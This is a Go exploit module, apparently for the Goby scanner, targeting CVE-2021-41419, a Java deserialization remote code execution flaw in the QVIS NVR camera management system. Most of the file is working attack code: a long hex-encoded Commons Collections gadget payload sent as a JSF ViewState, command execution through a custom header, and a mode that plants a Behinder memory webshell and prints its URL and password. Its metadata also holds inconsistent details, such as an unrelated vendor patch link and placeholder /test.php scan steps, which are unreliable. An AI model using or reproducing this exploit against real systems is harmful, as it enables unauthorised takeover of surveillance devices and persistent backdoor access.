package exploits

import (
	"encoding/base64"
	"encoding/hex"
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"net/url"
	"strings"
)

func init() {
	expJson := `{
    "Name": "QVIS-NVR Camera Management System RCE (CVE-2021-41419)",
    "Description": "<p>QVIS NVR Camera Management System is a monitoring system of QVIS company.</p><p>A security vulnerability exists in the QVIS NVR Camera Management System due to vulnerability to remote code execution via Java deserialization.</p>",
    "Product": "QVIS-NVR",
    "Homepage": "https://lemonldap-ng.org/download",
    "DisclosureDate": "2022-11-11",
    "Author": "su18@javaweb.org",
    "FofaQuery": "body=\"qvisBase.js\"",
    "GobyQuery": "body=\"qvisBase.js\"",
    "Level": "3",
    "Impact": "<p>A security vulnerability exists in the QVIS NVR Camera Management System due to vulnerability to remote code execution via Java deserialization.</p>",
    "Recommendation": "<p>At present, the manufacturer has released an upgrade patch to fix the vulnerability. The link to obtain the patch is: <a href=\"https://lemonldap-ng.org/download\">https://lemonldap-ng.org/download</a></p>",
    "References": [
        "https://github.com/projectdiscovery/nuclei-templates/blob/master/iot/qvisdvr-deserialization-rce.yaml"
    ],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "AttackType",
            "type": "select",
            "value": "cmd,ysoserial",
            "show": ""
        },
        {
            "name": "URL",
            "type": "input",
            "value": "/{{{rand|str|12}}}",
            "show": "1=0"
        },
        {
            "name": "PassWord",
            "type": "input",
            "value": "goby",
            "show": "1=0"
        },
        {
            "name": "Referer",
            "type": "input",
            "value": "https://gobygo.net/",
            "show": "1=0"
        },
        {
            "name": "serializedData",
            "type": "input",
            "value": "",
            "show": "1=0"
        },
        {
            "name": "Gadget",
            "type": "input",
            "value": "CommonsCollections10",
            "show": "1=0"
        },
        {
            "name": "Category",
            "type": "input",
            "value": "Memory Shell",
            "show": "1=0"
        },
        {
            "name": "Memory Shell Category",
            "type": "input",
            "value": "TFMSFromJMX",
            "show": "1=0"
        },
        {
            "name": "Web Shell",
            "type": "input",
            "value": "bx",
            "show": "1=0"
        },
        {
            "name": "Inherit",
            "type": "input",
            "value": "Y",
            "show": "1=0"
        },
        {
            "name": "command",
            "type": "input",
            "value": "whoami",
            "show": "AttackType=cmd"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [],
    "VulType": [
        "Code Execution"
    ],
    "CVEIDs": [
        "CVE-2021-41419"
    ],
    "CNNVD": [
        "CNNVD-202207-1458"
    ],
    "CNVD": [
        ""
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "QVIS-NVR Camera Management System JSF 反序列化漏洞（CVE-2021-41419）",
            "Product": "QVIS-NVR",
            "Description": "<p>QVIS NVR Camera Management System是QVIS公司的一个监控系统。<br></p><p>QVIS NVR Camera Management System 存在安全漏洞，该漏洞源于容易受到通过 Java 反序列化的远程代码执行的攻击。<br></p>",
            "Recommendation": "<p>目前厂商已发布升级补丁以修复漏洞，补丁获取链接：<a href=\"https://lemonldap-ng.org/download\">https://lemonldap-ng.org/download</a><br></p>",
            "Impact": "<p>QVIS NVR Camera Management System 存在安全漏洞，该漏洞源于容易受到通过 Java 反序列化的远程代码执行的攻击。<br></p>",
            "VulType": [
                "代码执行"
            ],
            "Tags": []
        },
        "EN": {
            "Name": "QVIS-NVR Camera Management System RCE (CVE-2021-41419)",
            "Product": "QVIS-NVR",
            "Description": "<p>QVIS NVR Camera Management System is a monitoring system of QVIS company.<br></p><p>A security vulnerability exists in the QVIS NVR Camera Management System due to vulnerability to remote code execution via Java deserialization.<br></p>",
            "Recommendation": "<p>At present, the manufacturer has released an upgrade patch to fix the vulnerability. The link to obtain the patch is: <a href=\"https://lemonldap-ng.org/download\">https://lemonldap-ng.org/download</a><br></p>",
            "Impact": "<p>A security vulnerability exists in the QVIS NVR Camera Management System due to vulnerability to remote code execution via Java deserialization.<br></p>",
            "VulType": [
                "Code Execution"
            ],
            "Tags": []
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10704"
}`

	exploitQVISNVR1928391731 := func(u *httpclient.FixUrl, payload string, cmd string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/qvisdvr/")
		cfg.VerifyTls = false
		cfg.FollowRedirect = false
		cfg.Header.Store("Content-Type", "application/x-www-form-urlencoded")

		if cmd != "" {
			cfg.Header.Store("X-Token-Data", cmd)
		}

		data, _ := hex.DecodeString(payload)
		cfg.Data = "javax.faces.ViewState=" + url.QueryEscape(base64.RawStdEncoding.EncodeToString(data))
		return httpclient.DoHttpRequest(u, cfg)
	}

	echoPayload := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740004737531387372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E466163746F72795472616E73666F726D6572A162C1295DB7F3B80200014C000869466163746F72797400284C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F466163746F72793B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E7374616E7469617465466163746F727994B19C9E672104EB0200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C001369436C617373546F496E7374616E74696174657400114C6A6176612F6C616E672F436C6173733B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00104C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000001262CAFEBABE00000031008E0A000B00370800380A0009003908003A0A0009003B0A003C003D0A000B003E08003F0700400700410700420700430700440800450A00090046080047070048070049090027004A0A0027004B0A0012004C0A0011004D07004E0A001700370A0011004F0A001700500A001700510700520700530A005400550A005400560A001C00570A0009005808005909005A005B0A0009005C0A003C005D0A005A005E0700820100036236340100124C6A6176612F6C616E672F537472696E673B010009636C6173734E616D650100063C696E69743E010003282956010004436F646501000C6261736536344465636F6465010016284C6A6176612F6C616E672F537472696E673B295B4201000D537461636B4D61705461626C6507004107004401000A457863657074696F6E730100083C636C696E69743E07004807004E0C002B002C0100106A6176612E7574696C2E4261736536340C0060006101000A6765744465636F6465720C006200630700640C006500660C006700680100066465636F646501000F6A6176612F6C616E672F436C6173730100106A6176612F6C616E672F537472696E670100106A6176612F6C616E672F4F626A6563740100025B420100136A6176612F6C616E672F457863657074696F6E01001673756E2E6D6973632E4241534536344465636F6465720C0069006A01000C6465636F646542756666657201001D6A6176612F7574696C2F7A69702F475A4950496E70757453747265616D01001C6A6176612F696F2F427974654172726179496E70757453747265616D0C002800290C002E002F0C002B006B0C002B006C01001D6A6176612F696F2F4279746541727261794F757470757453747265616D0C006D006E0C006F00700C007100720100176A6176612F6E65742F55524C436C6173734C6F6164657201000C6A6176612F6E65742F55524C0700730C007400750C007600770C002B00780C0079006801000B646566696E65436C61737307007A0C007B007C0C007D00630C007E007F0C008000810100396F72672F737531382F79737573657269616C2F7061796C6F6164732F74656D706C617465732F436C6173734C6F6164657254656D706C617465010007666F724E616D65010025284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F436C6173733B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B01000B6E6577496E7374616E636501001428294C6A6176612F6C616E672F4F626A6563743B010005285B422956010018284C6A6176612F696F2F496E70757453747265616D3B295601000472656164010005285B4229490100057772697465010007285B424949295601000B746F42797465417272617901000428295B420100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010015676574436F6E74657874436C6173734C6F6164657201001928294C6A6176612F6C616E672F436C6173734C6F616465723B010029285B4C6A6176612F6E65742F55524C3B4C6A6176612F6C616E672F436C6173734C6F616465723B295601000D6765745375706572636C6173730100116A6176612F6C616E672F496E7465676572010004545950450100114C6A6176612F6C616E672F436C6173733B0100116765744465636C617265644D6574686F6401000D73657441636365737369626C65010004285A295601000776616C75654F660100162849294C6A6176612F6C616E672F496E74656765723B0100386F72672F6170616368652F6C6F6767696E672F636F6E6669672F636F6D706F736974652F44656661756C744D657267655374726174656779070082090083004A010990483473494141414141414141414931572B5863543178582B6E72574D5042343245554F4D43566E61674B7A674B4148714E7261624173594F6269306779416B5964386C5966705945386B694D526C37537445315332704B57306A594E6155323368445256463970676149554967644C4E6E4E4D2F6F372F31682F376335584469666D3947586D53624E6A3779764A6E37337233763375392B39373733312F666676516C674232344C374D375A715A695A4E354E70475A7377733659564738304E793277736E79326D4D6C5A736E78777869316E6E734D7A6E624B63725A34316B556B586264444935713373696231724430745967424E59654E38664D474C565473594E44783258533065415443485A6D72497A7A7049417630764B73674C2B4C6C673045454E5468523068415A4151614933314C645474616A676D73536A686D386B54637A50656251316E4A74576D42396437536F70504A78766162685852434F683047566D463150657177526D4464736D6B4E36775243795A7A6C6D426D7259474139476E5345635139644D6F654844577A77766A6653666F2F416868563836565765723138516430386B5A5637467236465A594D3343524666574C425130334365776355466F79354573726352364D6A4937724F462B6D687063766F6547422B6C6C536A71754461364A745051744D637734503451504B3977655A707863756B386D733659746831334C314E6B6361566C7375575A6A4B6D3944524D635774424459676E54324A4A4F79554D693477506F6A783171654E66414974757434414B314568745946747136556C2B5569417A4538706851664639417968543232625536362B54356D594364327154302F516E447A426A364B54547254394C4556385848314E4C514C31485033506D6D6C6E505264754E46726F424D6631394542456D73565679654B65576B6E465567476469754D746D41507437514674726E7145374743744D6579306F6D6C485363663238394877684D636C69654C73714343364D492B7861467567636A2F31536E6B63315A42647169496E6C4A4B2B77336F696B5A312B4B54417778396F5277313972426E437853536B4C455877486A73334B6E42505A466E65465A41486346424664556A414F4E72616E7A736872645A39706D4F47634E6A44613738305759684C63705A773749795671736C5A5657536748383830494134797579473145464949527A313763656D6B633850734453765947317A75345171303879787770324D59564B352F577544657536335338466D32696F7731787341456E6C6768357975557A4970556641366D6A733968694568387343527147505969506D4A6E4849586778726E4B792B52696878687664594B32523542716741525A4B55344B374C7737307454634F2B6C496C3945486930362B364842656D714F306352776E464532796377326C64684D4E466D736F7277525A3679376B5A36486D63564A48446E51324D4A497446744947484E5651637968536B737A6D436D79783435356B776B43545633585030374B636B4D6D7555546139467A77337673436530356E4D756931614E6346515452767654394E703575596C466C6D79614E7653636A795259756C69394430706F2F737954756C3447562B704D654E686F2B4672537A706646544D4E727977436F396561523076444E7754752B352B416176696D514E336758673366636E745039326A656D5454774864563154754E56796E4B465279317A6C4C782B7264616E7959496A71663636522F3944646F344E524B6C2B48382F6F2B42366D4B48647966626C786158655A42626B3034506B712B67462B7148623645667664654D594B345363437A5455466E446274684370344B796E644F6C36504E35584342536F6B523464442B436E396A7956442B426C4A4742766961547645557975456E3150635376457635303430313972686F75566B526B6E5A69774B36716C72765778466C735864564D6433374464375238577463596F745871576472693679516763573652454B64433953396A43744B39376331486C536E4E5A514656744F4452656D71725A78464537525677545564562F47756A724F4B5934467878585A6D4A7A4B34743764584D666F476271713533394E526A32414254716B2B2F7766385563635A2F496E774A465366644971326E4F76714E636438352F4A536562494444354C6B6674357A664B68586C7751492F495666645A6A684E78732B332B7456442B66494F3479366C7643703857736452384578454C324B2B6D6D6F503132312B4F7230597A5368706A64465A3744714D745A47793269635173422F3058752F39346A76496D665A712F6E306F3234313036584B734B723954326F336348794653376647785948745A55527674766C3962594847514B502F416F347251574E677834465766786D5069765A674B7866756141383242626D2B6A4C627A4D4A71437A525538556349753061343142572F684966376151303342436A3752567539723078763178766F4C324E4155617452336349576D56702F5352576E32377955453272565441623665347A5A37422B4B335A312B63706D4D5239704278624B343633592F514851513062486B6644526F65454F494F487466676E3157334A5936434D363659372B3776495634414D6373597453577A4149747A383338672F6B56306458554471494C77622B6245782F4661383970646232484E5A66544D514C2B4D33686E3470364D56664F6F38337154734E70344F78364E75324539506F547436432F4572364F46454F48454E522B7077473771676F49516F5A56775748764464774A597950734E507668472F354333494B2B6774495251586E756F4D6472763774504E354462782F4C706972594C534D51676E2B2B4E786347574D4C72354E715A6A726137482B7567733950302F326E65435A6B434E727A6542586E3350456933706B486B56694673644E6B2F503452506E425550556978656E554B4C434E6142562B383542497468432F4E3833417271614C2B4E6C3148654F41715872794374536F4B2F7664573846576636775A6346723877622F4A765246324E5A364C696265674537377454434A59774A76724335796F345838615077322B55386459556D6F493363487241463334374D6541506C784944675769697234514E56656B766C5052586E7253433655664B2B46305A312B5058635A614F76486641312B5A66353864376F665A4143555A7255384458534C42766257384B6C50486E67545A2F3352757A2F326939524E54627562565058484B44354D6B774430346E366F32364F3967576D4F573555366668744961764B7772646A3644336F65474D6872506B304C634A7961797158636F394F7046562F7758536C646D387741774141413D3D0800850C002A002909008300870100406F72672E6170616368652E78616C616E2E6D6F64656C2E706C7567696E2E44656661756C745265706F7274436F6E66696775726174696F6E457870616E646572080089010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C657407008B0A008C003700210027008C0000000200080028002900000008002A0029000000030001002B002C0001002D0000001100010001000000052AB7008DB1000000000009002E002F0002002D000000C40006000500000078014D1202B800034C2B120401B600052B01B600064E2DB60007120804BD00095903120A53B600052D04BD000B59032A53B60006C0000CC0000C4DA7003C4E120EB800034C2BB6000F3A041904B60007121004BD00095903120A53B60005190404BD000B59032A53B60006C0000CC0000C4DA700053A042CB000020002003A003D000D003E00710074000D000100300000002A0003FF003D00030700310007000C0001070032FF003600040700310007000C0700320001070032FA00010033000000040001000D00080034002C0001002D000000F400060008000000B8128AB300881286B30084BB001159BB001259B20013B80014B70015B700164BBB001759B700184C111000BC084D2A2CB60019593E029F000D2B2C031DB6001AA7FFEE2BB6001B3A04BB001C5903BD001DB8001EB6001FB700203A051905B60007B60021B60021122206BD00095903120C535904B20023535905B2002353B600243A06190604B600251906190506BD000B5903190453590403B800265359051904BEB8002653B60006C000093A071907B6000F57A700044BB10001000A00B300B6000D00010030000000220004FE002D07003507003607000CFC001401FF007300000001070032FC000007000B000070740008485149494E525141707701007876720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C74657200000000000000000000007870757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573000000000000000000000078707371007E00003F4000000000000C7708000000100000000078787400047375313978"

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			payload := strings.ReplaceAll(echoPayload, "44656661756C744D657267655374726174656779", hex.EncodeToString([]byte("B"+goutils.RandomHexString(19))))
			randStr := goutils.RandomHexString(12)
			resp, err := exploitQVISNVR1928391731(u, payload, "echo "+randStr)
			return err == nil && strings.Contains(resp.RawBody, randStr)
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			if ss.Params["AttackType"].(string) == "cmd" {
				cmd := ss.Params["command"].(string)
				payload := strings.ReplaceAll(echoPayload, "44656661756C744D657267655374726174656779", hex.EncodeToString([]byte("B"+goutils.RandomHexString(19))))
				resp, err := exploitQVISNVR1928391731(expResult.HostInfo, payload, cmd)
				if err == nil {
					expResult.Output = resp.RawBody
					expResult.Success = true
				}
			} else if ss.Params["AttackType"].(string) == "ysoserial" {
				webShellUrl := ss.Params["URL"].(string)
				password := ss.Params["PassWord"].(string)
				referer := ss.Params["Referer"].(string)
				serializedData := ss.Params["serializedData"].(string)

				if serializedData == "" {
					serializedData, _, _ = godclient.GenYsoPayloadFromParams(ss.Params)
				}

				data, _ := base64.StdEncoding.DecodeString(serializedData)
				serializedData = hex.EncodeToString(data)

				resp, err := exploitQVISNVR1928391731(expResult.HostInfo, serializedData, "")

				if err == nil && resp.StatusCode == 200 {
					cfg := httpclient.NewGetRequestConfig("/" + webShellUrl + "?" + password + "=1")
					cfg.FollowRedirect = false
					cfg.VerifyTls = false
					cfg.Header.Store("Referer", referer)

					if resp2, err2 := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err2 == nil && resp2.StatusCode == 200 {
						expResult.Success = true
						expResult.Output = "WebShell URL: " + expResult.HostInfo.FixedHostInfo + "/" + webShellUrl + "\r\n"
						expResult.Output += "Password: " + password + "\r\n"
						expResult.Output += "Webshell tool: Behinder v3.0\r\n"
						expResult.Output += "Webshell type: jsp\r\n"
						expResult.Output += "Referer: " + referer
					}
				}
			}
			return expResult
		},
	))
}
